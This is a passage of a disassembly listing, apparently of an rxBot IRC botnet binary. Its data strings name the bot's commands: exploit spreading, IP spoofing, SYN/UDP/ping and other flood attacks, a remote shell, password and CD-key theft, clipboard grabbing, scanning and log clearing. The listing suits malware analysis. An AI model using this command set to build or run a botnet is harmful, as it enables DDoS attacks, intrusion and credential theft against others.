DATA XREF: sub_401B66+3E1Bo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401B66+3E06o ; sub_401B66+5836o ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401B66+3DF1o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401B66+3DDCo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401B66+3DC7o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401B66+3DB2o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401B66+3D9Do aC_quit db 'c_quit',0 ; DATA XREF: sub_401B66+3D88o align 4 aK: ; DATA XREF: sub_401B66+3D73o ; .packed:0043A900o ... unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_401B66+3D5Eo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401B66+3D34o aPt db 'pt',0 ; DATA XREF: sub_401B66+3D1Fo align 4 aJ: ; DATA XREF: sub_401B66+3CF5o ; .packed:0043A8FCo ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401B66+3CCBo ; .packed:0043A91Co ... unicode 0, <n>,0 unk_42CA04 db 2Dh ; - ; DATA XREF: sub_401B66+3C97o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401B66+3C33o aRegister db 'register',0 ; DATA XREF: sub_401B66+3C0Ao align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401B66+3BB1o align 10h aMix db 'mix',0 ; DATA XREF: sub_401B66+3AE7o dword_42CA64 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401B66+3A93o ; sub_401B66+3ACAo dd 0 dword_42CA7C dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401B66+3A5Co dd 1 dword_42CA94 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401B66+3A25o ; sub_401B66+3B39o aCtcp db 'ctcp',0 ; DATA XREF: sub_401B66+39D3o align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401B66+393Eo ; sub_401B66+397Ao ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401B66+38E7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401B66+37FBo aChgnick db 'chgnick',0 ; DATA XREF: sub_401B66+37B5o aNick_0 db 'nick',0 ; DATA XREF: sub_401B66+36B8o ; sub_401B66+3CB6o align 4 dword_42CADC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401B66+369Bo dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42CB04 dd 636364h dword_42CB08 dd 6E696F6Ah, 7261702Fh, 74hdword_42CB14 dd 4B43494Eh, 732520h ; sub_401B66+3712o ... dword_42CB1C dd 69257325h, 0 ; sub_40ABBD+4Eo ... aPnick db 'pnick',0 ; DATA XREF: sub_401B66+3462o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401B66+3445o ; sub_401B66+352Eo ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401B66+341Eo align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401B66+3401o aPart_0 db 'part',0 ; DATA XREF: sub_401B66+33DFo ; sub_401B66+3D0Ao align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401B66+33C2o ; sub_401B66+3505o ... aJoin db 'join',0 ; DATA XREF: sub_401B66+33A0o ; sub_401B66+3CE0o align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401B66+3383o align 10h aMode db 'mode',0 ; DATA XREF: sub_401B66+3337o ; sub_401B66+4817o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401B66+331Ao align 4 aNt db 'nt',0 ; DATA XREF: sub_401B66+32CEo align 4 dword_42CB8C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401B66+32B1o dword_42CBA0 dd 7463h dword_42CBA4 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; sub_401B66+3852o ... dword_42CBB4 dd 5Fh ; sub_401B66+3285o ... dword_42CBB8 dd 6D70h ; sub_401B66+47A4o unk_42CBBC db 2Dh ; - ; DATA XREF: sub_401B66+31CAo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401B66+3176o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401B66+314Do align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401B66+3136o align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401B66+3121o aRin db 'rin',0 ; DATA XREF: sub_401B66+310Co aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401B66+30F7o align 4 unk_42CC24 db 2Dh ; - ; DATA XREF: sub_401B66+30D7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42CC64 db 2Dh ; - ; DATA XREF: sub_401B66+307Bo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401B66+2FFEo unk_42CC9C db 2Dh ; - ; DATA XREF: sub_401B66+2FE0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42CCC8 db 2Dh ; - ; DATA XREF: sub_401B66+2FB6o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401B66+2F7Eo align 4 unk_42CD08 db 2Dh ; - ; DATA XREF: sub_401B66+2F25o ; sub_401B66+2F96o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401B66:loc_404A69o ; sub_401B66+3F02o unk_42CD44 db 2Dh ; - ; DATA XREF: sub_401B66+2E91o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 10h unk_42CD70 db 2Dh ; - ; DATA XREF: sub_401B66+2E86o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42CD9C dd 234032Dh, 6E69616Dh, 202D0302h, 7325h, 0unk_42CDB0 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40498Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h dword_42CE60 dd 234032Dh, 75636573h, 3026572haFailedToSta_20 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42CE9C dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401B66+2D8Ao dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401B66+2D84o align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401B66+2D7Do align 10h unk_42CED0 db 2Dh ; - ; DATA XREF: sub_401B66+2CF1o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42CF10 db 2Dh ; - ; DATA XREF: sub_401B66+2C83o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42CF3C dd 234032Dh, 6B636F73h, 3023473haFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42CF78 dd 234032Dh, 6B636F73h, 3023473h ; sub_411833+A8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42CFA0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302hdword_42CFB0 dd 646E6946h, 6C696620h, 65hdword_42CFBC dd 234032Dh, 636F7270h, 2D030273h, 0dword_42CFCC dd 636F7250h, 20737365h, 7473696Ch, 0dword_42CFDC dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401B66+2A3Co dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_404595o ; sub_401B66:loc_40969Co ... align 10h dword_42D010 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401B66+2A1Ao dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_404573o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_40455Co ; sub_401B66+7963o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+29E4o align 10h unk_42D060 db 2Dh ; - ; DATA XREF: sub_401B66+2998o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42D08C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401B66+295Ao dd 2E7325h unk_42D0A4 db 2Dh ; - ; DATA XREF: sub_401B66+2921o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_23 db '- Failed to start list thread, error: <%d>.',0 align 10h dword_42D0E0 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401B66+28C8o dd 65726874h, 2E736461h, 0 dword_42D100 dd 627573h dword_42D104 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401B66+2850o dd 2E7473h unk_42D11C db 2Dh ; - ; DATA XREF: sub_401B66+2820o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_24 db '- Failed to start listing thread, error: <%d>.',0 dword_42D154 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401B66+27A9o dd 2E676Fh dword_42D16C dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401B66+2722o dd 6F666E49h, 2Eh dword_42D188 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401B66+26F3o dd 2E6F666Eh, 0 dword_42D1A4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401B66+269Eo dd 746F4220h, 2Eh unk_42D1C0 db 2Dh ; - ; DATA XREF: sub_401B66+266Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42D1FC dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401B66+260Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401B66+25EEo align 10h unk_42D220 db 2Dh ; - ; DATA XREF: sub_401B66+258Fo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 10h dword_42D240 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0 dword_42D260 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401B66+2514o dd 2E7325h unk_42D278 db 2Dh ; - ; DATA XREF: sub_401B66:loc_403FB0o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42D298 db 2Dh ; - ; DATA XREF: sub_401B66+2443o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_42D2C0 db 2Dh ; - ; DATA XREF: sub_401B66+2427o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42D2EC dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401B66+2411o dd 72616F62h, 2E64h dword_42D308 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401B66+23E3o dd 2Dh unk_42D320 db 2Dh ; - ; DATA XREF: sub_401B66:loc_403F39o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42D34C db 2Dh ; - ; DATA XREF: sub_401B66+23CCo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_42D370 db 2Dh ; - ; DATA XREF: sub_401B66:loc_403F08o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42D39C db 2Dh ; - ; DATA XREF: sub_401B66:loc_403F01o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42D3C8 db 2Dh ; - ; DATA XREF: sub_401B66+2394o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42D3EC db 2Dh ; - ; DATA XREF: sub_401B66+2301o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_26 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42D428 db 2Dh ; - ; DATA XREF: sub_401B66+22A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42D464 db 2Dh ; - ; DATA XREF: sub_401B66+21CAo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42D4A0 db 2Dh ; - ; DATA XREF: sub_401B66+2171o ; sub_40B945+440o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42D4DC db 2Dh ; - ; DATA XREF: sub_401B66+2055o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_28 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42D518 db 2Dh ; - ; DATA XREF: sub_401B66+1FFCo ; sub_40B945+D7o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42D54C db 2Dh ; - ; DATA XREF: sub_401B66+1F4Fo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42D56C db 2Dh ; - ; DATA XREF: sub_401B66:loc_403A9Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan, port is invalid.',0 align 4 unk_42D5A4 db 2Dh ; - ; DATA XREF: sub_401B66+1ED7o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_30 db '- Failed to start scan thread, error: <%d>.',0 align 10h unk_42D5E0 db 2Dh ; - ; DATA XREF: sub_401B66+1E78o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401B66+1E4Do ; sub_401B66+5B1Ao align 4 aRandom db 'Random',0 ; DATA XREF: sub_401B66+1E46o ; sub_401B66+5B13o align 10h unk_42D660 db 2Dh ; - ; DATA XREF: sub_401B66+1C93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42D6A0 db 2Dh ; - ; DATA XREF: sub_401B66+1C20o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_31 db 'Failed to start search thread, error: <%d>.',0 unk_42D6DC db 2Dh ; - ; DATA XREF: sub_401B66+1BA4o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401B66+1B76o align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401B66+1B65o align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1B4Fo align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401B66+1B38o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_401B66+1B0Eo dword_42D74C dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401B66+1ABEo dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401B66+1AA8o ; sub_401B66+1AF8o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401B66+1A93o align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401B66:loc_4035E4o align 4 aHttp db 'http',0 ; DATA XREF: sub_401B66+1A69o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401B66+1A54o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401B66+1A3Fo align 10h aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401B66+1A2Ao align 10h aCip db 'cip',0 ; DATA XREF: sub_401B66+1A15o aCurrentip db 'currentip',0 ; DATA XREF: sub_401B66+1A00o align 10h aFdns db 'fdns',0 ; DATA XREF: sub_401B66+19EBo align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401B66:loc_40353Co align 4 aFarp db 'farp',0 ; DATA XREF: sub_401B66+19C1o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401B66+19ACo align 4 aGc db 'gc',0 ; DATA XREF: sub_401B66+1997o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401B66+1982o unk_42D7F4 db 2Dh ; - ; DATA XREF: sub_401B66+1944o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401B66+1929o ; sub_401B66+3C50o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401B66+1912o align 4 unk_42D828 db 2Dh ; - ; DATA XREF: sub_401B66+18F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401B66+18CDo ; sub_40B04A+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401B66:loc_403426o dword_42D85C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401B66+18A0o dword_42D870 dd 6F6877h dword_42D874 dd 234032Dh, 2646D63h, 2D03hdword_42D880 dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401B66+185Ao aOcmd db 'ocmd',0 ; DATA XREF: sub_401B66+1845o align 10h aOpencmd db 'opencmd',0 ; DATA XREF: sub_401B66+1830o aDll db 'dll',0 ; DATA XREF: sub_401B66+181Bo aTestdlls db 'testdlls',0 ; DATA XREF: sub_401B66+1806o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401B66+17F1o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401B66+17DCo align 4 aUp db 'up',0 ; DATA XREF: sub_401B66+17C7o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401B66+17B2o align 4 aKey db 'key',0 ; DATA XREF: sub_401B66+179Do aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401B66+1788o align 4 aPs db 'ps',0 ; DATA XREF: sub_401B66+1773o align 4 aProcs db 'procs',0 ; DATA XREF: sub_401B66+175Eo align 10h aRm51 db 'rm51',0 ; DATA XREF: sub_401B66+1749o align 4 aRemove51 db 'remove51',0 ; DATA XREF: sub_401B66+1734o align 4 aSi db 'si',0 ; DATA XREF: sub_401B66+171Fo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401B66+170Ao aNi db 'ni',0 ; DATA XREF: sub_401B66+16F5o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401B66+16E0o aClg db 'clg',0 ; DATA XREF: sub_401B66+16CBo aClearlog db 'clearlog',0 ; DATA XREF: sub_401B66+16B6o align 4 aLg909 db 'lg909',0 ; DATA XREF: sub_401B66+16A1o align 4 aLog909 db 'log909',0 ; DATA XREF: sub_401B66+168Co align 4 aAl db 'al',0 ; DATA XREF: sub_401B66+1677o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401B66+1662o aT: ; DATA XREF: sub_401B66+164Do unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401B66+1638o unk_42D954 db 2Dh ; - ; DATA XREF: sub_401B66+1604o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42D97C db 2Dh ; - ; DATA XREF: sub_401B66+15FDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401B66+15E6o align 4 aI: ; DATA XREF: sub_401B66+15D1o ; .packed:0043A8DCo ... unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401B66+15BCo align 4 aS_1: ; DATA XREF: sub_401B66+15A7o ; .packed:0043A8E8o ... unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401B66+1592o align 4 aQ: ; DATA XREF: sub_401B66+157Do ; .packed:off_43A8C0o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401B66+1568o align 4 aDc db 'dc',0 ; DATA XREF: sub_401B66+1553o align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401B66+153Eo align 4 aR: ; DATA XREF: sub_401B66+1529o ; sub_401B66+3D49o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401B66+1514o align 4 aExplist db 'explist',0 ; DATA XREF: sub_401B66+14FFo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401B66+14EAo aCbstats db 'cbstats',0 ; DATA XREF: sub_401B66+14D5o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401B66+14C0o align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401B66+14ABo aTransferstats db 'transferstats',0 ; DATA XREF: sub_401B66+1496o align 4 aStats db 'stats',0 ; DATA XREF: sub_401B66+1481o align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401B66+146Co align 10h dword_42DA40 dd 234032Dh, 6E616373h, 2D0302haScan_0 db 'Scan',0 ; DATA XREF: sub_401B66+145Co align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401B66+1443o align 10h dword_42DA60 dd 234032Dh, 75636573h, 3026572h, 2DhaSecure_0 db 'Secure',0 ; DATA XREF: sub_401B66+1433o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401B66+141Ao align 4 dword_42DA84 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaClone db 'Clone',0 ; DATA XREF: sub_401B66+140Ao align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401B66+13F1o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401B66+13DCo align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401B66+13C7o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401B66+13B2o align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401B66+139Do align 4 dword_42DAD4 dd 234032Dh, 70746674h, 2D030264h, 0aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401B66+1374o align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401B66+134Bo align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401B66+1322o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401B66+12F9o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401B66+12D0o unk_42DB1C db 2Dh ; - ; DATA XREF: sub_401B66+12B6o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42DB50 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; sub_401B66+1317o dword_42DB60 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; sub_401B66+1312o dword_42DB70 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; sub_401B66+12EEo dword_42DB80 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; sub_401B66+12E9o dword_42DB90 dd 234032Dh, 676E6970h, 2D0302h ; sub_401B66+1369o dword_42DB9C dd 676E6950h, 6F6C6620h, 646Fh ; sub_401B66+1364o dword_42DBA8 dd 234032Dh, 2706475h, 2D03h ; sub_401B66+1340o dword_42DBB4 dd 20504455h, 6F6F6C66h, 64h ; sub_401B66+133Bo aPacketstop db 'packetstop',0 ; DATA XREF: sub_401B66+117Ao align 4 dword_42DBCC dd 234032Dh, 6B6E6F77h, 2D0302h ; sub_401B66+123Co dword_42DBD8 dd 6B6E6F57h, 6F6C6620h, 646Fh ; sub_401B66+1237o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401B66+1151o align 10h dword_42DBF0 dd 234032Dh, 67726174h, 3023361h, 2Dh ; sub_401B66+121Eo dword_42DC00 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; sub_401B66+1219o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401B66+1128o align 4 dword_42DC1C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; sub_401B66+129Co dword_42DC2C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; sub_401B66+1297o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401B66+10FFo align 4 dword_42DC48 dd 234032Dh, 26E7973h, 2D03h ; sub_401B66+11BEo dword_42DC54 dd 206E7953h, 6F6F6C66h, 64h ; sub_401B66+11B9o aSynstop db 'synstop',0 ; DATA XREF: sub_401B66+10D6o dword_42DC68 dd 234032Dh, 736F6464h, 2D0302h ; sub_401B66+11A0o dword_42DC74 dd 536F4444h, 6F6C6620h, 646Fh ; sub_401B66+119Bo dword_42DC80 dd 736F6464h, 6F74732Eh, 70hdword_42DC8C dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_42DC9C dd 20504354h, 69646572h, 74636572h, 0aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401B66+1084o align 4 dword_42DCBC dd 234032Dh, 2676F6Ch, 2D03hdword_42DCC8 dd 20676F4Ch, 7473696Ch, 0aLogstop db 'logstop',0 ; DATA XREF: sub_401B66+105Bo dword_42DCDC dd 234032Dh, 70747468h, 2D030264h, 